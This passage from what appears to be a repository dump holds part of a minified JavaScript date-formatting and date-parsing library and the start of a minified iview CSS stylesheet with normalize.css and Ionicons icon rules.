x.t(c.shortDate);case\"D\":return x.t(c.longDate);case\"F\":return x.t(c.fullDateTime);case\"m\":return x.t(c.monthDay);case\"r\":return x.t(c.rfc1123);case\"s\":return x.t(c.sortableDateTime);case\"t\":return x.t(c.shortTime);case\"T\":return x.t(c.longTime);case\"u\":return x.t(c.universalSortableDateTime);case\"y\":return x.t(c.yearMonth);}}\nvar ord=function(n){switch(n*1){case 1:case 21:case 31:return\"st\";case 2:case 22:return\"nd\";case 3:case 23:return\"rd\";default:return\"th\";}};return format?format.replace(/(\\\\)?(dd?d?d?|MM?M?M?|yy?y?y?|hh?|HH?|mm?|ss?|tt?|S)/g,function(m){if(m.charAt(0)===\"\\\\\"){return m.replace(\"\\\\\",\"\");}\nx.h=x.getHours;switch(m){case\"hh\":return p(x.h()<13?(x.h()===0?12:x.h()):(x.h()-12));case\"h\":return x.h()<13?(x.h()===0?12:x.h()):(x.h()-12);case\"HH\":return p(x.h());case\"H\":return x.h();case\"mm\":return p(x.getMinutes());case\"m\":return x.getMinutes();case\"ss\":return p(x.getSeconds());case\"s\":return x.getSeconds();case\"yyyy\":return p(x.getFullYear(),4);case\"yy\":return p(x.getFullYear());case\"dddd\":return $C.dayNames[x.getDay()];case\"ddd\":return $C.abbreviatedDayNames[x.getDay()];case\"dd\":return p(x.getDate());case\"d\":return x.getDate();case\"MMMM\":return $C.monthNames[x.getMonth()];case\"MMM\":return $C.abbreviatedMonthNames[x.getMonth()];case\"MM\":return p((x.getMonth()+1));case\"M\":return x.getMonth()+1;case\"t\":return x.h()<12?$C.amDesignator.substring(0,1):$C.pmDesignator.substring(0,1);case\"tt\":return x.h()<12?$C.amDesignator:$C.pmDesignator;case\"S\":return ord(x.getDate());default:return m;}}):this._toString();};}());\n(function(){var $D=Date,$P=$D.prototype,$C=$D.CultureInfo,$N=Number.prototype;$P._orient=+1;$P._nth=null;$P._is=false;$P._same=false;$P._isSecond=false;$N._dateElement=\"day\";$P.next=function(){this._orient=+1;return this;};$D.next=function(){return $D.today().next();};$P.last=$P.prev=$P.previous=function(){this._orient=-1;return this;};$D.last=$D.prev=$D.previous=function(){return $D.today().last();};$P.is=function(){this._is=true;return this;};$P.same=function(){this._same=true;this._isSecond=false;return this;};$P.today=function(){return this.same().day();};$P.weekday=function(){if(this._is){this._is=false;return(!this.is().sat()&&!this.is().sun());}\nreturn false;};$P.at=function(time){return(typeof time===\"string\")?$D.parse(this.toString(\"d\")+\" \"+time):this.set(time);};$N.fromNow=$N.after=function(date){var c={};c[this._dateElement]=this;return((!date)?new Date():date.clone()).add(c);};$N.ago=$N.before=function(date){var c={};c[this._dateElement]=this*-1;return((!date)?new Date():date.clone()).add(c);};var dx=(\"sunday monday tuesday wednesday thursday friday saturday\").split(/\\s/),mx=(\"january february march april may june july august september october november december\").split(/\\s/),px=(\"Millisecond Second Minute Hour Day Week Month Year\").split(/\\s/),pxf=(\"Milliseconds Seconds Minutes Hours Date Week Month FullYear\").split(/\\s/),nth=(\"final first second third fourth fifth\").split(/\\s/),de;$P.toObject=function(){var o={};for(var i=0;i<px.length;i++){o[px[i].toLowerCase()]=this[\"get\"+pxf[i]]();}\nreturn o;};$D.fromObject=function(config){config.week=null;return Date.today().set(config);};var df=function(n){return function(){if(this._is){this._is=false;return this.getDay()==n;}\nif(this._nth!==null){if(this._isSecond){this.addSeconds(this._orient*-1);}\nthis._isSecond=false;var ntemp=this._nth;this._nth=null;var temp=this.clone().moveToLastDayOfMonth();this.moveToNthOccurrence(n,ntemp);if(this>temp){throw new RangeError($D.getDayName(n)+\" does not occur \"+ntemp+\" times in the month of \"+$D.getMonthName(temp.getMonth())+\" \"+temp.getFullYear()+\".\");}\nreturn this;}\nreturn this.moveToDayOfWeek(n,this._orient);};};var sdf=function(n){return function(){var t=$D.today(),shift=n-t.getDay();if(n===0&&$C.firstDayOfWeek===1&&t.getDay()!==0){shift=shift+7;}\nreturn t.addDays(shift);};};for(var i=0;i<dx.length;i++){$D[dx[i].toUpperCase()]=$D[dx[i].toUpperCase().substring(0,3)]=i;$D[dx[i]]=$D[dx[i].substring(0,3)]=sdf(i);$P[dx[i]]=$P[dx[i].substring(0,3)]=df(i);}\nvar mf=function(n){return function(){if(this._is){this._is=false;return this.getMonth()===n;}\nreturn this.moveToMonth(n,this._orient);};};var smf=function(n){return function(){return $D.today().set({month:n,day:1});};};for(var j=0;j<mx.length;j++){$D[mx[j].toUpperCase()]=$D[mx[j].toUpperCase().substring(0,3)]=j;$D[mx[j]]=$D[mx[j].substring(0,3)]=smf(j);$P[mx[j]]=$P[mx[j].substring(0,3)]=mf(j);}\nvar ef=function(j){return function(){if(this._isSecond){this._isSecond=false;return this;}\nif(this._same){this._same=this._is=false;var o1=this.toObject(),o2=(arguments[0]||new Date()).toObject(),v=\"\",k=j.toLowerCase();for(var m=(px.length-1);m>-1;m--){v=px[m].toLowerCase();if(o1[v]!=o2[v]){return false;}\nif(k==v){break;}}\nreturn true;}\nif(j.substring(j.length-1)!=\"s\"){j+=\"s\";}\nreturn this[\"add\"+j](this._orient);};};var nf=function(n){return function(){this._dateElement=n;return this;};};for(var k=0;k<px.length;k++){de=px[k].toLowerCase();$P[de]=$P[de+\"s\"]=ef(px[k]);$N[de]=$N[de+\"s\"]=nf(de);}\n$P._ss=ef(\"Second\");var nthfn=function(n){return function(dayOfWeek){if(this._same){return this._ss(arguments[0]);}\nif(dayOfWeek||dayOfWeek===0){return this.moveToNthOccurrence(dayOfWeek,n);}\nthis._nth=n;if(n===2&&(dayOfWeek===undefined||dayOfWeek===null)){this._isSecond=true;return this.addSeconds(this._orient);}\nreturn this;};};for(var l=0;l<nth.length;l++){$P[nth[l]]=(l===0)?nthfn(-1):nthfn(l);}}());\n(function(){Date.Parsing={Exception:function(s){this.message=\"Parse error at '\"+s.substring(0,10)+\" ...'\";}};var $P=Date.Parsing;var _=$P.Operators={rtoken:function(r){return function(s){var mx=s.match(r);if(mx){return([mx[0],s.substring(mx[0].length)]);}else{throw new $P.Exception(s);}};},token:function(s){return function(s){return _.rtoken(new RegExp(\"^\\s*\"+s+\"\\s*\"))(s);};},stoken:function(s){return _.rtoken(new RegExp(\"^\"+s));},until:function(p){return function(s){var qx=[],rx=null;while(s.length){try{rx=p.call(this,s);}catch(e){qx.push(rx[0]);s=rx[1];continue;}\nbreak;}\nreturn[qx,s];};},many:function(p){return function(s){var rx=[],r=null;while(s.length){try{r=p.call(this,s);}catch(e){return[rx,s];}\nrx.push(r[0]);s=r[1];}\nreturn[rx,s];};},optional:function(p){return function(s){var r=null;try{r=p.call(this,s);}catch(e){return[null,s];}\nreturn[r[0],r[1]];};},not:function(p){return function(s){try{p.call(this,s);}catch(e){return[null,s];}\nthrow new $P.Exception(s);};},ignore:function(p){return p?function(s){var r=null;r=p.call(this,s);return[null,r[1]];}:null;},product:function(){var px=arguments[0],qx=Array.prototype.slice.call(arguments,1),rx=[];for(var i=0;i<px.length;i++){rx.push(_.each(px[i],qx));}\nreturn rx;},cache:function(rule){var cache={},r=null;return function(s){try{r=cache[s]=(cache[s]||rule.call(this,s));}catch(e){r=cache[s]=e;}\nif(r instanceof $P.Exception){throw r;}else{return r;}};},any:function(){var px=arguments;return function(s){var r=null;for(var i=0;i<px.length;i++){if(px[i]==null){continue;}\ntry{r=(px[i].call(this,s));}catch(e){r=null;}\nif(r){return r;}}\nthrow new $P.Exception(s);};},each:function(){var px=arguments;return function(s){var rx=[],r=null;for(var i=0;i<px.length;i++){if(px[i]==null){continue;}\ntry{r=(px[i].call(this,s));}catch(e){throw new $P.Exception(s);}\nrx.push(r[0]);s=r[1];}\nreturn[rx,s];};},all:function(){var px=arguments,_=_;return _.each(_.optional(px));},sequence:function(px,d,c){d=d||_.rtoken(/^\\s*/);c=c||null;if(px.length==1){return px[0];}\nreturn function(s){var r=null,q=null;var rx=[];for(var i=0;i<px.length;i++){try{r=px[i].call(this,s);}catch(e){break;}\nrx.push(r[0]);try{q=d.call(this,r[1]);}catch(ex){q=null;break;}\ns=q[1];}\nif(!r){throw new $P.Exception(s);}\nif(q){throw new $P.Exception(q[1]);}\nif(c){try{r=c.call(this,r[1]);}catch(ey){throw new $P.Exception(r[1]);}}\nreturn[rx,(r?r[1]:s)];};},between:function(d1,p,d2){d2=d2||d1;var _fn=_.each(_.ignore(d1),p,_.ignore(d2));return function(s){var rx=_fn.call(this,s);return[[rx[0][0],r[0][2]],rx[1]];};},list:function(p,d,c){d=d||_.rtoken(/^\\s*/);c=c||null;return(p instanceof Array?_.each(_.product(p.slice(0,-1),_.ignore(d)),p.slice(-1),_.ignore(c)):_.each(_.many(_.each(p,_.ignore(d))),px,_.ignore(c)));},set:function(px,d,c){d=d||_.rtoken(/^\\s*/);c=c||null;return function(s){var r=null,p=null,q=null,rx=null,best=[[],s],last=false;for(var i=0;i<px.length;i++){q=null;p=null;r=null;last=(px.length==1);try{r=px[i].call(this,s);}catch(e){continue;}\nrx=[[r[0]],r[1]];if(r[1].length>0&&!last){try{q=d.call(this,r[1]);}catch(ex){last=true;}}else{last=true;}\nif(!last&&q[1].length===0){last=true;}\nif(!last){var qx=[];for(var j=0;j<px.length;j++){if(i!=j){qx.push(px[j]);}}\np=_.set(qx,d).call(this,q[1]);if(p[0].length>0){rx[0]=rx[0].concat(p[0]);rx[1]=p[1];}}\nif(rx[1].length<best[1].length){best=rx;}\nif(best[1].length===0){break;}}\nif(best[0].length===0){return best;}\nif(c){try{q=c.call(this,best[1]);}catch(ey){throw new $P.Exception(best[1]);}\nbest[1]=q[1];}\nreturn best;};},forward:function(gr,fname){return function(s){return gr[fname].call(this,s);};},replace:function(rule,repl){return function(s){var r=rule.call(this,s);return[repl,r[1]];};},process:function(rule,fn){return function(s){var r=rule.call(this,s);return[fn.call(this,r[0]),r[1]];};},min:function(min,rule){return function(s){var rx=rule.call(this,s);if(rx[0].length<min){throw new $P.Exception(s);}\nreturn rx;};}};var _generator=function(op){return function(){var args=null,rx=[];if(arguments.length>1){args=Array.prototype.slice.call(arguments);}else if(arguments[0]instanceof Array){args=arguments[0];}\nif(args){for(var i=0,px=args.shift();i<px.length;i++){args.unshift(px[i]);rx.push(op.apply(null,args));args.shift();return rx;}}else{return op.apply(null,arguments);}};};var gx=\"optional not ignore cache\".split(/\\s/);for(var i=0;i<gx.length;i++){_[gx[i]]=_generator(_[gx[i]]);}\nvar _vector=function(op){return function(){if(arguments[0]instanceof Array){return op.apply(null,arguments[0]);}else{return op.apply(null,arguments);}};};var vx=\"each any all\".split(/\\s/);for(var j=0;j<vx.length;j++){_[vx[j]]=_vector(_[vx[j]]);}}());(function(){var $D=Date,$P=$D.prototype,$C=$D.CultureInfo;var flattenAndCompact=function(ax){var rx=[];for(var i=0;i<ax.length;i++){if(ax[i]instanceof Array){rx=rx.concat(flattenAndCompact(ax[i]));}else{if(ax[i]){rx.push(ax[i]);}}}\nreturn rx;};$D.Grammar={};$D.Translator={hour:function(s){return function(){this.hour=Number(s);};},minute:function(s){return function(){this.minute=Number(s);};},second:function(s){return function(){this.second=Number(s);};},meridian:function(s){return function(){this.meridian=s.slice(0,1).toLowerCase();};},timezone:function(s){return function(){var n=s.replace(/[^\\d\\+\\-]/g,\"\");if(n.length){this.timezoneOffset=Number(n);}else{this.timezone=s.toLowerCase();}};},day:function(x){var s=x[0];return function(){this.day=Number(s.match(/\\d+/)[0]);};},month:function(s){return function(){this.month=(s.length==3)?\"jan feb mar apr may jun jul aug sep oct nov dec\".indexOf(s)/4:Number(s)-1;};},year:function(s){return function(){var n=Number(s);this.year=((s.length>2)?n:(n+(((n+2000)<$C.twoDigitYearMax)?2000:1900)));};},rday:function(s){return function(){switch(s){case\"yesterday\":this.days=-1;break;case\"tomorrow\":this.days=1;break;case\"today\":this.days=0;break;case\"now\":this.days=0;this.now=true;break;}};},finishExact:function(x){x=(x instanceof Array)?x:[x];for(var i=0;i<x.length;i++){if(x[i]){x[i].call(this);}}\nvar now=new Date();if((this.hour||this.minute)&&(!this.month&&!this.year&&!this.day)){this.day=now.getDate();}\nif(!this.year){this.year=now.getFullYear();}\nif(!this.month&&this.month!==0){this.month=now.getMonth();}\nif(!this.day){this.day=1;}\nif(!this.hour){this.hour=0;}\nif(!this.minute){this.minute=0;}\nif(!this.second){this.second=0;}\nif(this.meridian&&this.hour){if(this.meridian==\"p\"&&this.hour<12){this.hour=this.hour+12;}else if(this.meridian==\"a\"&&this.hour==12){this.hour=0;}}\nif(this.day>$D.getDaysInMonth(this.year,this.month)){throw new RangeError(this.day+\" is not a valid value for days.\");}\nvar r=new Date(this.year,this.month,this.day,this.hour,this.minute,this.second);if(this.timezone){r.set({timezone:this.timezone});}else if(this.timezoneOffset){r.set({timezoneOffset:this.timezoneOffset});}\nreturn r;},finish:function(x){x=(x instanceof Array)?flattenAndCompact(x):[x];if(x.length===0){return null;}\nfor(var i=0;i<x.length;i++){if(typeof x[i]==\"function\"){x[i].call(this);}}\nvar today=$D.today();if(this.now&&!this.unit&&!this.operator){return new Date();}else if(this.now){today=new Date();}\nvar expression=!!(this.days&&this.days!==null||this.orient||this.operator);var gap,mod,orient;orient=((this.orient==\"past\"||this.operator==\"subtract\")?-1:1);if(!this.now&&\"hour minute second\".indexOf(this.unit)!=-1){today.setTimeToNow();}\nif(this.month||this.month===0){if(\"year day hour minute second\".indexOf(this.unit)!=-1){this.value=this.month+1;this.month=null;expression=true;}}\nif(!expression&&this.weekday&&!this.day&&!this.days){var temp=Date[this.weekday]();this.day=temp.getDate();if(!this.month){this.month=temp.getMonth();}\nthis.year=temp.getFullYear();}\nif(expression&&this.weekday&&this.unit!=\"month\"){this.unit=\"day\";gap=($D.getDayNumberFromName(this.weekday)-today.getDay());mod=7;this.days=gap?((gap+(orient*mod))%mod):(orient*mod);}\nif(this.month&&this.unit==\"day\"&&this.operator){this.value=(this.month+1);this.month=null;}\nif(this.value!=null&&this.month!=null&&this.year!=null){this.day=this.value*1;}\nif(this.month&&!this.day&&this.value){today.set({day:this.value*1});if(!expression){this.day=this.value*1;}}\nif(!this.month&&this.value&&this.unit==\"month\"&&!this.now){this.month=this.value;expression=true;}\nif(expression&&(this.month||this.month===0)&&this.unit!=\"year\"){this.unit=\"month\";gap=(this.month-today.getMonth());mod=12;this.months=gap?((gap+(orient*mod))%mod):(orient*mod);this.month=null;}\nif(!this.unit){this.unit=\"day\";}\nif(!this.value&&this.operator&&this.operator!==null&&this[this.unit+\"s\"]&&this[this.unit+\"s\"]!==null){this[this.unit+\"s\"]=this[this.unit+\"s\"]+((this.operator==\"add\")?1:-1)+(this.value||0)*orient;}else if(this[this.unit+\"s\"]==null||this.operator!=null){if(!this.value){this.value=1;}\nthis[this.unit+\"s\"]=this.value*orient;}\nif(this.meridian&&this.hour){if(this.meridian==\"p\"&&this.hour<12){this.hour=this.hour+12;}else if(this.meridian==\"a\"&&this.hour==12){this.hour=0;}}\nif(this.weekday&&!this.day&&!this.days){var temp=Date[this.weekday]();this.day=temp.getDate();if(temp.getMonth()!==today.getMonth()){this.month=temp.getMonth();}}\nif((this.month||this.month===0)&&!this.day){this.day=1;}\nif(!this.orient&&!this.operator&&this.unit==\"week\"&&this.value&&!this.day&&!this.month){return Date.today().setWeek(this.value);}\nif(expression&&this.timezone&&this.day&&this.days){this.day=this.days;}\nreturn(expression)?today.add(this):today.set(this);}};var _=$D.Parsing.Operators,g=$D.Grammar,t=$D.Translator,_fn;g.datePartDelimiter=_.rtoken(/^([\\s\\-\\.\\,\\/\\x27]+)/);g.timePartDelimiter=_.stoken(\":\");g.whiteSpace=_.rtoken(/^\\s*/);g.generalDelimiter=_.rtoken(/^(([\\s\\,]|at|@|on)+)/);var _C={};g.ctoken=function(keys){var fn=_C[keys];if(!fn){var c=$C.regexPatterns;var kx=keys.split(/\\s+/),px=[];for(var i=0;i<kx.length;i++){px.push(_.replace(_.rtoken(c[kx[i]]),kx[i]));}\nfn=_C[keys]=_.any.apply(null,px);}\nreturn fn;};g.ctoken2=function(key){return _.rtoken($C.regexPatterns[key]);};g.h=_.cache(_.process(_.rtoken(/^(0[0-9]|1[0-2]|[1-9])/),t.hour));g.hh=_.cache(_.process(_.rtoken(/^(0[0-9]|1[0-2])/),t.hour));g.H=_.cache(_.process(_.rtoken(/^([0-1][0-9]|2[0-3]|[0-9])/),t.hour));g.HH=_.cache(_.process(_.rtoken(/^([0-1][0-9]|2[0-3])/),t.hour));g.m=_.cache(_.process(_.rtoken(/^([0-5][0-9]|[0-9])/),t.minute));g.mm=_.cache(_.process(_.rtoken(/^[0-5][0-9]/),t.minute));g.s=_.cache(_.process(_.rtoken(/^([0-5][0-9]|[0-9])/),t.second));g.ss=_.cache(_.process(_.rtoken(/^[0-5][0-9]/),t.second));g.hms=_.cache(_.sequence([g.H,g.m,g.s],g.timePartDelimiter));g.t=_.cache(_.process(g.ctoken2(\"shortMeridian\"),t.meridian));g.tt=_.cache(_.process(g.ctoken2(\"longMeridian\"),t.meridian));g.z=_.cache(_.process(_.rtoken(/^((\\+|\\-)\\s*\\d\\d\\d\\d)|((\\+|\\-)\\d\\d\\:?\\d\\d)/),t.timezone));g.zz=_.cache(_.process(_.rtoken(/^((\\+|\\-)\\s*\\d\\d\\d\\d)|((\\+|\\-)\\d\\d\\:?\\d\\d)/),t.timezone));g.zzz=_.cache(_.process(g.ctoken2(\"timezone\"),t.timezone));g.timeSuffix=_.each(_.ignore(g.whiteSpace),_.set([g.tt,g.zzz]));g.time=_.each(_.optional(_.ignore(_.stoken(\"T\"))),g.hms,g.timeSuffix);g.d=_.cache(_.process(_.each(_.rtoken(/^([0-2]\\d|3[0-1]|\\d)/),_.optional(g.ctoken2(\"ordinalSuffix\"))),t.day));g.dd=_.cache(_.process(_.each(_.rtoken(/^([0-2]\\d|3[0-1])/),_.optional(g.ctoken2(\"ordinalSuffix\"))),t.day));g.ddd=g.dddd=_.cache(_.process(g.ctoken(\"sun mon tue wed thu fri sat\"),function(s){return function(){this.weekday=s;};}));g.M=_.cache(_.process(_.rtoken(/^(1[0-2]|0\\d|\\d)/),t.month));g.MM=_.cache(_.process(_.rtoken(/^(1[0-2]|0\\d)/),t.month));g.MMM=g.MMMM=_.cache(_.process(g.ctoken(\"jan feb mar apr may jun jul aug sep oct nov dec\"),t.month));g.y=_.cache(_.process(_.rtoken(/^(\\d\\d?)/),t.year));g.yy=_.cache(_.process(_.rtoken(/^(\\d\\d)/),t.year));g.yyy=_.cache(_.process(_.rtoken(/^(\\d\\d?\\d?\\d?)/),t.year));g.yyyy=_.cache(_.process(_.rtoken(/^(\\d\\d\\d\\d)/),t.year));_fn=function(){return _.each(_.any.apply(null,arguments),_.not(g.ctoken2(\"timeContext\")));};g.day=_fn(g.d,g.dd);g.month=_fn(g.M,g.MMM);g.year=_fn(g.yyyy,g.yy);g.orientation=_.process(g.ctoken(\"past future\"),function(s){return function(){this.orient=s;};});g.operator=_.process(g.ctoken(\"add subtract\"),function(s){return function(){this.operator=s;};});g.rday=_.process(g.ctoken(\"yesterday tomorrow today now\"),t.rday);g.unit=_.process(g.ctoken(\"second minute hour day week month year\"),function(s){return function(){this.unit=s;};});g.value=_.process(_.rtoken(/^\\d\\d?(st|nd|rd|th)?/),function(s){return function(){this.value=s.replace(/\\D/g,\"\");};});g.expression=_.set([g.rday,g.operator,g.value,g.unit,g.orientation,g.ddd,g.MMM]);_fn=function(){return _.set(arguments,g.datePartDelimiter);};g.mdy=_fn(g.ddd,g.month,g.day,g.year);g.ymd=_fn(g.ddd,g.year,g.month,g.day);g.dmy=_fn(g.ddd,g.day,g.month,g.year);g.date=function(s){return((g[$C.dateElementOrder]||g.mdy).call(this,s));};g.format=_.process(_.many(_.any(_.process(_.rtoken(/^(dd?d?d?|MM?M?M?|yy?y?y?|hh?|HH?|mm?|ss?|tt?|zz?z?)/),function(fmt){if(g[fmt]){return g[fmt];}else{throw $D.Parsing.Exception(fmt);}}),_.process(_.rtoken(/^[^dMyhHmstz]+/),function(s){return _.ignore(_.stoken(s));}))),function(rules){return _.process(_.each.apply(null,rules),t.finishExact);});var _F={};var _get=function(f){return _F[f]=(_F[f]||g.format(f)[0]);};g.formats=function(fx){if(fx instanceof Array){var rx=[];for(var i=0;i<fx.length;i++){rx.push(_get(fx[i]));}\nreturn _.any.apply(null,rx);}else{return _get(fx);}};g._formats=g.formats([\"\\\"yyyy-MM-ddTHH:mm:ssZ\\\"\",\"yyyy-MM-ddTHH:mm:ssZ\",\"yyyy-MM-ddTHH:mm:ssz\",\"yyyy-MM-ddTHH:mm:ss\",\"yyyy-MM-ddTHH:mmZ\",\"yyyy-MM-ddTHH:mmz\",\"yyyy-MM-ddTHH:mm\",\"ddd, MMM dd, yyyy H:mm:ss tt\",\"ddd MMM d yyyy HH:mm:ss zzz\",\"MMddyyyy\",\"ddMMyyyy\",\"Mddyyyy\",\"ddMyyyy\",\"Mdyyyy\",\"dMyyyy\",\"yyyy\",\"Mdyy\",\"dMyy\",\"d\"]);g._start=_.process(_.set([g.date,g.time,g.expression],g.generalDelimiter,g.whiteSpace),t.finish);g.start=function(s){try{var r=g._formats.call({},s);if(r[1].length===0){return r;}}catch(e){}\nreturn g._start.call({},s);};$D._parse=$D.parse;$D.parse=function(s){var r=null;if(!s){return null;}\nif(s instanceof Date){return s;}\ntry{r=$D.Grammar.start.call({},s.replace(/^\\s*(\\S*(\\s+\\S+)*)\\s*$/,\"$1\"));}catch(e){return null;}\nreturn((r[1].length===0)?r[0]:null);};$D.getParseFunction=function(fx){var fn=$D.Grammar.formats(fx);return function(s){var r=null;try{r=fn.call({},s);}catch(e){return null;}\nreturn((r[1].length===0)?r[0]:null);};};$D.parseExact=function(s,fx){return $D.getParseFunction(fx)(s);};}());\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/static/libs/iview/iview.css",
    "content": ".ivu-load-loop{-webkit-animation:ani-load-loop 1s linear infinite;animation:ani-load-loop 1s linear infinite}@-webkit-keyframes ani-load-loop{from{-webkit-transform:rotate(0);transform:rotate(0)}50%{-webkit-transform:rotate(180deg);transform:rotate(180deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes ani-load-loop{from{-webkit-transform:rotate(0);transform:rotate(0)}50%{-webkit-transform:rotate(180deg);transform:rotate(180deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.input-group-error-append,.input-group-error-prepend{background-color:#fff;border:1px solid #ed4014}.input-group-error-append .ivu-select-selection,.input-group-error-prepend .ivu-select-selection{background-color:inherit;border:1px solid transparent}.input-group-error-prepend{border-right:0}.input-group-error-append{border-left:0}.ivu-breadcrumb{color:#999;font-size:14px}.ivu-breadcrumb a{color:#515a6e;-webkit-transition:color .2s ease-in-out;transition:color .2s ease-in-out}.ivu-breadcrumb a:hover{color:#57a3f3}.ivu-breadcrumb>span:last-child{font-weight:700;color:#515a6e}.ivu-breadcrumb>span:last-child .ivu-breadcrumb-item-separator{display:none}.ivu-breadcrumb-item-separator{margin:0 8px;color:#dcdee2}.ivu-breadcrumb-item-link>.ivu-icon+span{margin-left:4px}/*! normalize.css v5.0.0 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto;resize:vertical}[type=checkbox],[type=radio]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}*{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-tap-highlight-color:transparent}:after,:before{-webkit-box-sizing:border-box;box-sizing:border-box}body{font-family:\"Helvetica Neue\",Helvetica,\"PingFang SC\",\"Hiragino Sans GB\",\"Microsoft YaHei\",\"微软雅黑\",Arial,sans-serif;font-size:12px;line-height:1.5;color:#515a6e;background-color:#fff;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}article,aside,blockquote,body,button,dd,details,div,dl,dt,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,hr,input,legend,li,menu,nav,ol,p,section,td,textarea,th,ul{margin:0;padding:0}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}input::-ms-clear,input::-ms-reveal{display:none}a{color:#2d8cf0;background:0 0;text-decoration:none;outline:0;cursor:pointer;-webkit-transition:color .2s ease;transition:color .2s ease}a:hover{color:#57a3f3}a:active{color:#2b85e4}a:active,a:hover{outline:0;text-decoration:none}a[disabled]{color:#ccc;cursor:not-allowed;pointer-events:none}code,kbd,pre,samp{font-family:Consolas,Menlo,Courier,monospace}@font-face{font-family:Ionicons;src:url(fonts/ionicons.ttf?v=3.0.0) format(\"truetype\"),url(fonts/ionicons.woff?v=3.0.0) format(\"woff\"),url(fonts/ionicons.svg?v=3.0.0#Ionicons) format(\"svg\");font-weight:400;font-style:normal}.ivu-icon{display:inline-block;font-family:Ionicons;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;text-rendering:auto;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:middle}.ivu-icon-ios-add-circle-outline:before{content:\"\\f100\"}.ivu-icon-ios-add-circle:before{content:\"\\f101\"}.ivu-icon-ios-add:before{content:\"\\f102\"}.ivu-icon-ios-alarm-outline:before{content:\"\\f103\"}.ivu-icon-ios-alarm:before{content:\"\\f104\"}.ivu-icon-ios-albums-outline:before{content:\"\\f105\"}.ivu-icon-ios-albums:before{content:\"\\f106\"}.ivu-icon-ios-alert-outline:before{content:\"\\f107\"}.ivu-icon-ios-alert:before{content:\"\\f108\"}.ivu-icon-ios-american-football-outline:before{content:\"\\f109\"}.ivu-icon-ios-american-football:before{content:\"\\f10a\"}.ivu-icon-ios-analytics-outline:before{content:\"\\f10b\"}.ivu-icon-ios-analytics:before{content:\"\\f10c\"}.ivu-icon-ios-aperture-outline:before{content:\"\\f10d\"}.ivu-icon-ios-aperture:before{content:\"\\f10e\"}.ivu-icon-ios-apps-outline:before{content:\"\\f10f\"}.ivu-icon-ios-apps:before{content:\"\\f110\"}.ivu-icon-ios-appstore-outline:before{content:\"\\f111\"}.ivu-icon-ios-appstore:before{content:\"\\f112\"}.ivu-icon-ios-archive-outline:before{content:\"\\f113\"}.ivu-icon-ios-archive:before{content:\"\\f114\"}.ivu-icon-ios-arrow-back:before{content:\"\\f115\"}.ivu-icon-ios-arrow-down:before{content:\"\\f116\"}.ivu-icon-ios-arrow-dropdown-circle:before{content:\"\\f117\"}.ivu-icon-ios-arrow-dropdown:before{content:\"\\f118\"}.ivu-icon-ios-arrow-dropleft-circle:before{content:\"\\f119\"}.ivu-icon-ios-arrow-dropleft:before{content:\"\\f11a\"}.ivu-icon-ios-arrow-dropright-circle:before{content:\"\\f11b\"}.ivu-icon-ios-arrow-dropright:before{content:\"\\f11c\"}.ivu-icon-ios-arrow-dropup-circle:before{content:\"\\f11d\"}.ivu-icon-ios-arrow-dropup:before{content:\"\\f11e\"}.ivu-icon-ios-arrow-forward:before{content:\"\\f11f\"}.ivu-icon-ios-arrow-round-back:before{content:\"\\f120\"}.ivu-icon-ios-arrow-round-down:before{content:\"\\f121\"}.ivu-icon-ios-arrow-round-forward:before{content:\"\\f122\"}.ivu-icon-ios-arrow-round-up:before{content:\"\\f123\"}.ivu-icon-ios-arrow-up:before{content:\"\\f124\"}.ivu-icon-ios-at-outline:before{content:\"\\f125\"}.ivu-icon-ios-at:before{content:\"\\f126\"}.ivu-icon-ios-attach:before{content:\"\\f127\"}.ivu-icon-ios-backspace-outline:before{content:\"\\f128\"}.ivu-icon-ios-backspace:before{content:\"\\f129\"}.ivu-icon-ios-barcode-outline:before{content:\"\\f12a\"}.ivu-icon-ios-barcode:before{content:\"\\f12b\"}.ivu-icon-ios-baseball-outline:before{content:\"\\f12c\"}.ivu-icon-ios-baseball:before{content:\